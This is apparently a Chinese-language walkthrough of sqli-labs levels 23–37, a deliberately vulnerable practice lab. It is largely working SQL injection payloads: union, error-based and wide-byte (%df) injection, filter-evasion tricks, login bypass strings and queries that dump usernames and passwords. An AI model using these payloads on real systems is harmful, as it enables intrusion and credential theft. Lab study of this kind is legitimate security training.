一.less23
通过单引号测试获得的报错信息得知是单引号闭合
猜测原sql语句
select id,username,password from users where id='xx'
方法一:特殊字符,作用是截断(相当于注释)
;%00
http://127.0.0.1/sqli-labs/Less-23/?id=-1'union select 1,2,database();%00
方法二(这个闭合构造的是真的强):
#利用原生的有单引号构造闭合'2'
http://127.0.0.1/sqli-labs/Less-23/?id=-1'union select 1,database(),'2
利用方法2的思路联合注入或者报错注入之类的都行,就不赘述了
二.less24
三.less25和less25a
less25
本关主要的考点在于 or和and 过滤(考点在这里所以就不用别的方法了),如何绕过 or 和 and 过滤。一般性提供以下几种思路:
(1) 大小写变形 Or,OR,oR
(2) 编码,hex,urlencode
(3) 添加注释/or/
(4) 利用符号 and=&& or=||
比如利用 || 绕过or的过滤然后进行注入,由于本关存在输出报错,所以可以用报错注入
http://127.0.0.1/sqli-labs/Less-25/?id=1' || updatexml(1,concat(0x7e,version()),1)--+
less25a
本关不存在报错,所以报错注入不能用了,不过可以考虑联合注入或者延时注入
联合注入
http://127.0.0.1/sqli-labs/Less-25a/?id=1 union select 1,2,3#
延时注入
四.less26和less26a
注:从本关开始,阿帕奇存在空格无法转义的问题(在ubantu上是可以的)
本关结合25关,将空格,or,and,/*,#,–,/等各种符号过滤,此处对于and,or的处理方法不再赘述,参考25.此处我们需要说明两方面:对于注释和结尾字符的我们此处只能利用构造一个’来闭合后面到’;对于空格,有较多的方法:
- %09 TAB键(水平)
- %0a 新建一行%0c新的一页
- %0d return功能
- %0b TAB键(垂直)
- %a0空格(window无法解析 )
由于在windows下阿帕奇的服务器上不能使用%a0解析空格,所以下面的代码都用括号+报错注入来举例(如果能解析空格的话就和之前完全一样了)
报错注入获取数据库名:
http://127.0.0.1/sqli-labs/Less-26/?id=1'||updatexml(1,concat(0x7e,database(),1),1)||'1'='1
报错注入获取security下的表名:
http://127.0.0.1/sqli-labs/Less-26/?id=1'||updatexml(0x7e,(select(group_concat(table_name))from (infoorrmation_schema.tables)where (table_schema='security')),1)||'1'='1
注:由于本关会对sql语句中的or进行一次过滤,所以在information那里要写成infoorrmation*
报错注入获取users中的列名:
http://127.0.0.1/sqli-labs/Less-26/?id=1'||updatexml(0x7e,(select(group_concat(column_name))from (infoorrmation_schema.columns)where (table_name="emails")),1)||1='1
获取username和password
因为一次性取会存在数据取补全的情况,所以可以选择靠id一个个取(注意where不能加括号)
http://127.0.0.1/sqli-labs/Less-26/?id=1'||updatexml(1,(select(group_concat(concat_ws(0x7e,username,passwoorrd)))from (users)where(id=1)),1)||1='1
这里我不知道为什么我的电脑里会出现第一个数据不能完整显示的问题,sql可以正常运行
五.less27和less27a
less27
本关主要考察将union,select和26关过滤掉的字符。此处我们依旧和26关的方式是一样的,只需要将union和select改为大小写混合就可以突破,具体略
less27a
本题不存在报错输出,所以不能用报错注入,这关id使用双引号闭合,其他的同less27,可以用联合注入和%a0来进行注入
五.less28和less28a
less28
本题和27关几乎没有区别,就id那里用了单引号闭合,直接联合或者报错注入即可
less28a
本关与 28 基本一致,但是是单引号+单括号闭合,只是过滤条件少了几个。
六.总结(less23-28)
这几关都是在处理特殊符号被过滤时的问题
遇到字符过滤的情况有如下方法:
- 1.特殊字符过滤
- 2.用括号把不同块包起来构造合法sql语句
- 3.对于过滤字母单词的,可以把字母小写改成大写,或者用重复的方式试试比如;or被replace进行过滤且进行一次,就可以用 oorr 来构造
七.less29
本关开始到31是基于服务器的两层架构,phpstudy不支持,所以只讲基本思路不做演示(基本和前面一样)
两个服务器里,apache是真正要用到了,然后tomcat起到的是过滤作用
。比如下面代码的网址中第一个id=1是给tomcat的,是不起作用的,第二个id才起作用(就这一个知识点)其他的注入方式同之前
http://127.0.0.1:8080/sqli-labs/Less-29/index.jsp?id=1&id=-2'union select 1,user(),3--+
八.less30
这里第二个id是双引号闭合,其他一样
九.less31
这里第二个id是双引号+单括号闭合
十.总结(less29-31)
(暂时略)
less-32,33,34,35,36,37 六关全部是针对’和\的过滤,下面会讲到宽字节注入的手法
十一. less32
通过输出的sql语句可以看出,我们手动添加的单引号被过滤掉了(源码中使用replace过滤的)
http://127.0.0.1/sqli-labs/Less-32/?id=-1 %df'union select 1,2,database() --+
说明:从gbk编码的原理可知,汉字是占两个字节的,然后由上面可知urlencode(') = %5c%27,前面补一个%df的,就能把\吃掉,%27则作为一个单独的符号在外面
上面的代码思路就是如此,加一个%df后就和普通的注入一样了
(这里应该是因为编码的原因下图中输出的sql语句中手动添加的单引号乱码)
十二.less33
本关过滤使用函数 addslashes(),用于在预定义字符之前添加反斜杠的字符串(预定义字符: ‘,”,\ )
本关依旧可以用%df绕过,代码同less32
防御漏洞的方法 :使用addslashes(),我们需要将mysql_query设置为binary的方式,才能防御此漏洞。
十三.less34
我们此处介绍一个新的方法。将utf-8转换为utf-16或utf-32,例如将‘转为utf-16为�’ (别漏了单引号)
按照下面的方式就可以登陆成功了,然后直接用报错注入就行了(我不是很懂用�’ 的时候输出的sql语句里明明在’前面有个转义字符,那这个单引号有什么用,为什么删除之后就不能正常运行,会报如下的错)
账号: �' or 1=1#
密码随便输
#这个报错我不太明白什么意思
llegal mix of collations (utf8_general_ci,IMPLICIT) and (gbk_chinese_ci,COERCIBLE) for operation '='
十四.less35
这关按照天书的说法,和第二关一毛一样,我感觉可能有哪里有漏
# 整型注入
http://127.0.0.1/sqli-labs/Less-35/?id=-1 union select 1,2,database()#
十五.less36
本关使用mysql_real_escape_string()函数来进行过滤的
mysql_real_escape_string()的作用 : 基本和addslashes()相同转义SQL语句中使用的字符串中的特殊字符,如果成功,则该函数返回被转义的字符串。如果失败,则返回false。
受影响的字符:
- \x00
- \n
- \r
- \
- ‘
- “
- \x1a
本关通关手段和之前一样,%df和utf-16的单引号形式两种方法都能绕过检测然后实施注入
http://127.0.0.1/sqli-labs/Less-36/?id=-1 %df'union select 1,user(),database()--+
http://127.0.0.1/sqli-labs/Less-36/?id=-1 �'union select 1,user(),database()--+
防御漏洞的方法 :在使用mysql_real_escape_string()时,将mysql设置为gbk即可
设置代码:
Mysql_set_charset(‘gbk’,’$conn’
十六.less37
本关也是使用mysql_real_escape_string()函数来进行过滤的
其他的同less34,都是post的注入类型,由于和addslashes()原理相同,所以代码也相同
账号:admin�' or 1=1#
密码随便输
十七.总结(less32-37)
1.上面给出了三种过滤的方式分别是 :
- replace
- addslashes()
- mysql_real_escape_string()。
其中第二第三种是差不多,都是通过转义字符来过滤。防御方式也已经在上面给出不再赘述.
破解方法:
对replace前面的关卡已经详细讲过了,这里不细说,总之就是各种替换,用大小写等各种手段。
第二三种过滤方式的破解手段就是看情况使用用%df和�’,其中post型的注入不能用前者